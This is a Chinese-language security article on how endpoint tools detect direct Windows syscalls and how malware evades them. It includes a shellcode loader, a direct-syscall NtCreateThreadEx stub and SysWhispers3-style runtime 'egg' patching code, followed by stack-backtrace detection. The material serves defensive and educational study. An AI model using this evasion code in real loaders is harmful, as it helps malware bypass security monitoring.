syscall的檢測與繞過
VSole2023-01-05 09:43:15
普通調用
#include
#include
int main()
{
unsigned char shellcode[] = "";
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, NULL);
Sleep(1000);
return 0;
}

此時的調用是非常明顯的,能看到Ntdll中NtCreateThread的調用。
syscall調用
#include
#include
EXTERN_C NTSTATUS NtCreateThreadEx
(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer
);
int main()
{
HANDLE pHandle = NULL;
HANDLE tHandle = NULL;
unsigned char shellcode[] = "";
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
HMODULE hModule = LoadLibrary(L"ntdll.dll");
pHandle = GetCurrentProcess();
NtCreateThreadEx(&tHandle, 0x1FFFFF, NULL, pHandle, exec, NULL, FALSE,
NULL, NULL, NULL, NULL);
Sleep(1000);
CloseHandle(tHandle);
CloseHandle(pHandle);
}
通過匯編直接NtCreateThreadEx在函數種通過syscall進入ring0

.code NtCreateThreadEx proc mov r10,rcx mov eax,0C5h syscall ret NtCreateThreadEx endp end



通過procmon進行監控

此時直接通過我們的主程序進入ring0
syscall的檢測與繞過
ntdll中syscall被執行的格式大致
mov r10, rcx mov eax, *syscall number* syscall ret
我們可以通過檢測mov r10, rcx類似的代碼來確定程序是否直接進行系統調用。
但是很容易被bypass
mov r11,rcx mov r10,r11
而且還可以寫出很多不一樣的寫法,顯然這個方式是不行的。很輕易就會被bypass。
當然也可以檢測syscall指令,但是這個指令可以同int 2e中斷門進0環的方式繞過,也可以加一個int 2e的規則。
objdump --disassemble -M intel "D:\C++ Project\bypass\syscall\x64\Release\syscall.exe" | findstr "syscall"

syscall也可以不直接寫寫死在文件種,比如先用垃圾指令寫死在文件中,然后在運行的時候對這些垃圾指令進行修改重新為syscall,達到靜態繞過的效果。
這也正是SysWhispers3為了規避檢測做的升級之一,稱為EGG的手段。

可以像這樣編寫ntapi
NtAllocateVirtualMemory PROC mov [rsp +8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 003970B07h ; Load function hash into ECX. call SW2_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp +8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx DB 77h ; "w" DB 0h ; "0" DB 0h ; "0" DB 74h ; "t" DB 77h ; "w" DB 0h ; "0" DB 0h ; "0" DB 74h ; "t" ret NtAllocateVirtualMemory ENDP
這個w00tw00t就是一個垃圾指令,我們將在執行的過程中重新替換為syscall
DB 77h ; "w" DB 0h ; "0" DB 0h ; "0" DB 74h ; "t" DB 77h ; "w" DB 0h ; "0" DB 0h ; "0" DB 74h ; "t"
更改指令代碼:
#include
#include
#include
#include
#define DEBUG 0
HMODULE GetMainModule(HANDLE);
BOOL GetMainModuleInformation(PULONG64, PULONG64);
void FindAndReplace(unsigned char[], unsigned char[]);
HMODULE GetMainModule(HANDLE hProcess)
{
HMODULE mainModule = NULL;
HMODULE* lphModule;
LPBYTE lphModuleBytes;
DWORD lpcbNeeded;
// First call needed to know the space (bytes) required to store the modules' handles
BOOL success = EnumProcessModules(hProcess, NULL, 0, &lpcbNeeded);
// We already know that lpcbNeeded is always > 0
if (!success || lpcbNeeded == 0)
{
printf("[-] Error enumerating process modules");
// At this point, we already know we won't be able to dyncamically
// place the syscall instruction, so we can exit
exit(1);
}
// Once we got the number of bytes required to store all the handles for
// the process' modules, we can allocate space for them
lphModuleBytes = (LPBYTE)LocalAlloc(LPTR, lpcbNeeded);
if (lphModuleBytes == NULL)
{
printf("[-] Error allocating memory to store process modules handles");
exit(1);
}
unsigned int moduleCount;
moduleCount = lpcbNeeded / sizeof(HMODULE);
lphModule = (HMODULE*)lphModuleBytes;
success = EnumProcessModules(hProcess, lphModule, lpcbNeeded, &lpcbNeeded);
if (!success)
{
printf("[-] Error enumerating process modules");
exit(1);
}
// Finally storing the main module
mainModule = lphModule[0];
// Avoid memory leak
LocalFree(lphModuleBytes);
// Return main module
return mainModule;
}
BOOL GetMainModuleInformation(PULONG64 startAddress, PULONG64 length)
{
HANDLE hProcess = GetCurrentProcess();
HMODULE hModule = GetMainModule(hProcess);
MODULEINFO mi;
GetModuleInformation(hProcess, hModule, &mi, sizeof(mi));
printf("Base Address: 0x%llu", (ULONG64)mi.lpBaseOfDll);
printf("Image Size: %u", (ULONG)mi.SizeOfImage);
printf("Entry Point: 0x%llu", (ULONG64)mi.EntryPoint);
printf("");
*startAddress = (ULONG64)mi.lpBaseOfDll;
*length = (ULONG64)mi.SizeOfImage;
DWORD oldProtect;
VirtualProtect(mi.lpBaseOfDll, mi.SizeOfImage, PAGE_EXECUTE_READWRITE, &oldProtect);
return 0;
}
void FindAndReplace(unsigned char egg[], unsigned char replace[])
{
ULONG64 startAddress = 0;
ULONG64 size = 0;
GetMainModuleInformation(&startAddress, &size);
if (size <= 0) {
printf("[-] Error detecting main module size");
exit(1);
}
ULONG64 currentOffset = 0;
unsigned char* current = (unsigned char*)malloc(8*sizeof(unsigned char*));
size_t nBytesRead;
printf("Starting search from: 0x%llu", (ULONG64)startAddress + currentOffset);
while (currentOffset < size - 8)
{
currentOffset++;
LPVOID currentAddress = (LPVOID)(startAddress + currentOffset);
if(DEBUG > 0){
printf("Searching at 0x%llu", (ULONG64)currentAddress);
}
if (!ReadProcessMemory((HANDLE)((int)-1), currentAddress, current, 8, &nBytesRead)) {
printf("[-] Error reading from memory");
exit(1);
}
if (nBytesRead != 8) {
printf("[-] Error reading from memory");
continue;
}
if(DEBUG > 0){
for (int i = 0; i < nBytesRead; i++){
printf("%02x ", current[i]);
}
printf("");
}
if (memcmp(egg, current, 8) == 0)
{
printf("Found at %llu", (ULONG64)currentAddress);
WriteProcessMemory((HANDLE)((int)-1), currentAddress, replace, 8, &nBytesRead);
}
}
printf("Ended search at: 0x%llu", (ULONG64)startAddress + currentOffset);
free(current);
}
在inceptor中可以直接調用函數達到替換syscall的作用
int main(int argc, char** argv) {
unsigned char egg[] = { 0x77, 0x00, 0x00, 0x74, 0x77, 0x00, 0x00, 0x74 }; // w00tw00t
unsigned char replace[] = { 0x0f, 0x05, 0x90, 0x90, 0xC3, 0x90, 0xCC, 0xCC }; // syscall; nop; nop; ret; nop; int3; int3
//####SELF_TAMPERING####
(egg, replace);
Inject();
return 0;
}
但是這樣依然很容易被檢測,原因是有了更加準確的檢測方式。
那就是通過棧回溯。
當你正常的程序使用系統調用的時候。

此時你的流程是主程序模塊->kernel32.dll->ntdll.dll->syscall,這樣當0環執行結束返回3環的時候,這個返回地址應該是在ntdll所在的地址范圍之內。
那么如果是你自己直接進行系統調用。

此時當ring0返回的時候,rip將會是你的主程序模塊內,而并不是在ntdll所在的范圍內,這點是很容易被檢測也是比較準確的一種檢測方式。
VSole
網絡安全專家